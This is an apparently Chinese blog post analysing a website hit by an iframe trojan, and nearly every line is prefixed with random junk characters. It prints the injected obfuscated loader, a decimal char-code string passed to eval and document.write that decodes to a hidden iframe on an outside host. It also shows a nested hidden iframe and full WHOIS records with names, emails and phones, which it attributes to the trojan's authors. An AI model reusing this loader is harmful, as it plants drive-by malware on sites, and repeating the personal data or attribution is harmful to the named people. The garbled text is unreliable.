首发在我的博客里面，
]yy1 0Pk[! x\T 9V~8a http://www.areway.cn/?p=175 /_rEI,[k ]c4?-Vq%u Dk[m)]w\ 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
9!&fak _ Gm~jC < <script>t=’60,105,102,114,97,109,101,
ErnjIx: 32,115,114,99,61,104,116,116,112,58,47,47,
;EDc1: 102,114,101,101,46,117,45,117,117,117,46,99,
~.;+uH<i 110,47,101,114,114,111,114,46,104,116,109,
<b !nI
N 32,119,105,100,116,104,61,49,48,48,32,104,
qbrY5;U 101,105,103,104,116,61,48,62,60,47,105,102,
5)bf$?d 114,97,109,101,62′;
ZCVwQ#Xe+ t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
)RG@D\t , %5Q5xw]w3 <script>t=’60,105,102,114,97,109,101,32,115,
p=sL KnLmZ 114,99,61,104,116,116,112,58,47,47,102,114,
+uZ,}J 101,101,46,117,45,117,117,117,46,99,110,47,
]?tC+UKb 101,114,114,111,114,46,104,116,109,32,119,
kK\G+{z? 105,100,116,104,61,49,48,48,32,104,101,105,
N8S !&*m 103,104,116,61,48,62,60,47,105,102,114,97,
9.)*z-f$ 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
'#pY/,hVB document.write(t);</script>
Myaj81 o_R<7o/d| <html xmlns=”
'RZ=A+% X http://www.w3.org/1999/xhtml Oh)s" f\N “>
(xxNQ]
l-( <head>
R9bsl.e <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
T%zCAfx m <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
J)tk<&X <title>首页 - 爱生活家庭网
7/C,<$Ep b|jdYJbol& 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
`< _A#@ 转换字符串后的大概内容是（谁点击后果自付）：
=A[:]),v <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
=Y!x ;r<(n3" F 查询玉米u-uuu.cn的详细信息：
"u^%~ 2 Domain Name: u-uuu.cn
f"i(+:la ROID: 20070901s10001s64972306-cn
(OS -v~{r@ Domain Status: ok
/6S% h-#\ Registrant Organization: 王雷
su:~X d Registrant Name: 王雷
WRIOj Q: Administrative Email:
czlovexs@126.com ]$Ud`<Xnx Sponsoring Registrar: 北京万网志成科技有限公司
yR}PC/> Name Server:ns.yovole.com
_7e ^
t N Name Server:ns1.yovole.com
ye?4^@u u Registration Date: 2007-09-01 17:54
S\wh
*'Y Expiration Date: 2008-09-01 17:54
ygI81\ D 最后PING了一下地址 都没有什么….
rF n% e Z8mS m[w 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
DNTkv_S <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
y-C=_v_X <script language=”javascript” src=”
$U . >]i http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 9r D6."G >
3X|7 R 这个玉米应该有可能是木马作者的：
XL =Y~7b foafau.info的详细信息：
f[r?J/;P9 Access to INFO WHOIS information is provided to assist persons in
F/8="dM determining the contents of a domain name registration record in the
+ftOJFkI Afilias registry database. The data in this record is provided by
`eZ
+Pf". Afilias Limited for informational purposes only, and Afilias does not
-!_\ 4 guarantee its accuracy. This service is intended only for query-based
MC\rx=cR\ access. You agree that you will use this data only for lawful purposes
m 0jm$> :Z and that, under no circumstances will you use this data to: (a) allow,
''. P= enable, or otherwise support the transmission by e-mail, telephone, or
Q#gzk%jL@ facsimile of mass unsolicited, commercial advertising or solicitations
V%|CCrR to entities other than the data recipient’s own existing customers; or
<d*;d3gm (b) enable high volume, automated, electronic processes that send
&ZyZmB queries or data to the systems of Registry Operator, a Registrar, or
8n V#\J9 Afilias except as reasonably necessary to register domain names or
v$n J$M&k modify existing registrations. All rights reserved. Afilias reserves
pk>p|q the right to modify these terms at any time. By submitting this query,
EuH[G_5e 0 you agree to abide by this policy.
Maw Wgd* Domain ID:D22418703-LRMS
v H[G#A~ 4 Domain Name:FOAFAU.INFO
s}1S6*Cr Created On:20-Nov-2007 16:05:42 UTC
[B0]%!hFw Last Updated On:20-Nov-2007 16:05:44 UTC
[l`_2{: Expiration Date:20-Nov-2008 16:05:42 UTC
#k}x} rn<' Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
6 I8A[ Status:CLIENT DELETE PROHIBITED
,q_'l?P n Status:CLIENT RENEW PROHIBITED
_U
Q|I|V# Status:CLIENT TRANSFER PROHIBITED
1UHlA8w7 Q Status:CLIENT UPDATE PROHIBITED
A5WchS' Status:TRANSFER PROHIBITED
&Y `V A Registrant ID:GODA-040110615
H]I^?+)9 Registrant Name:liu hong
n7EG%q6m+ Registrant Organization:
PJ $C$G Registrant Street1:beijing
!\ 'NBq, Registrant Street2:
K C DbE6 Registrant Street3:
='rSB.$Ctk Registrant City:beijing
7A,QA5G ]C Registrant State/Province:
n8K FP Registrant Postal Code:100000
U-]Rm}X\M Registrant Country:CN
9sQ #v-+Yx Registrant Phone:+86.860108888777
E: 7R>. g Registrant Phone Ext.:
?@@BIg- Registrant FAX:
EdC^L`:: Registrant FAX Ext.:
Jm# mC Registrant Email:bbbshiji@163.com
}Cs. Hm0P Admin ID:GODA-240110615
&7 0o4~Fr Admin Name:liu hong
~ k(4eRq Admin Organization:
'nx";[6( Admin Street1:beijing
Q|$?d4La8 Admin Street2:
t%k1=Ow5i Admin Street3:
%@q/OVnM Admin City:beijing
31cC* Admin State/Province:
F ]qX} Admin Postal Code:100000
J 7/)XS Admin Country:CN
Q$`u=-h| Admin Phone:+86.860108888777
\gU=B|W Admin Phone Ext.:
g %ZKn Admin FAX:
2SABu796j Admin FAX Ext.:
s:p6oEQ=J Admin Email:bbbshiji@163.com
@n NhW Billing ID:GODA-340110615
M9PzA'}4W6 Billing Name:liu hong
Id(wY$C&> Billing Organization:
M~ !DQ1u Billing Street1:beijing
S7(Vc H Billing Street2:
{J[5 {]Je[ Billing Street3:
0b3z(x!O Billing City:beijing
?7eD< | Billing State/Province:
;) c 4 Billing Postal Code:100000
?|$IZ9 Billing Country:CN
ZC!GKW P2 Billing Phone:+86.860108888777
^q@ 6((O Billing Phone Ext.:
)@hG #KMK Billing FAX:
^Gt9 . Billing FAX Ext.:
n !oxwA! Billing Email:bbbshiji@163.com
Cg]Iz< <bE Tech ID:GODA-140110615
MYk%p ' Tech Name:liu hong
GEd JB= Tech Organization:
e/J|wM9Ak Tech Street1:beijing
h%=>iQ%enc Tech Street2:
jmkVo lz Tech Street3:
BKJ wM'~ Tech City:beijing
J]"IT*-Ht Tech State/Province:
%~{ G*%: Tech Postal Code:100000
Jx-dWfe Tech Country:CN
", Ge:\TR= Tech Phone:+86.860108888777
USrBi[_ci\ Tech Phone Ext.:
l,w$! FnmR Tech FAX:
QPZ|C{Ce Tech FAX Ext.:
Vmb `%k20' Tech Email:bbbshiji@163.com
p$+.] Name Server:NS27.DOMAINCONTROL.COM
OZCbMeB{+J Name Server:NS28.DOMAINCONTROL.COM
IPTEOA<M[ Name Server:
q\I2lZ Name Server:
Xl p $ xp" Name Server:
W]aX}>0 Name Server:
?c7}
v Name Server:
^6?) EM# Name Server:
jWE?$r" Name Server:
sfUKH;xC Name Server:
oBpoZ @[Z Name Server:
H}f} Y8J{ Name Server:
i| /EA7 Name Server:
N5%Cwl6i Z{p)rscX 接着下载每个文件里面的代码：
vi8)U]6 一步一步看..
HuRq0/" 
wVMR&R <t 
@TqqF:c7 
] hC6PKJU 
1 Vq)& N 
pf%B 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
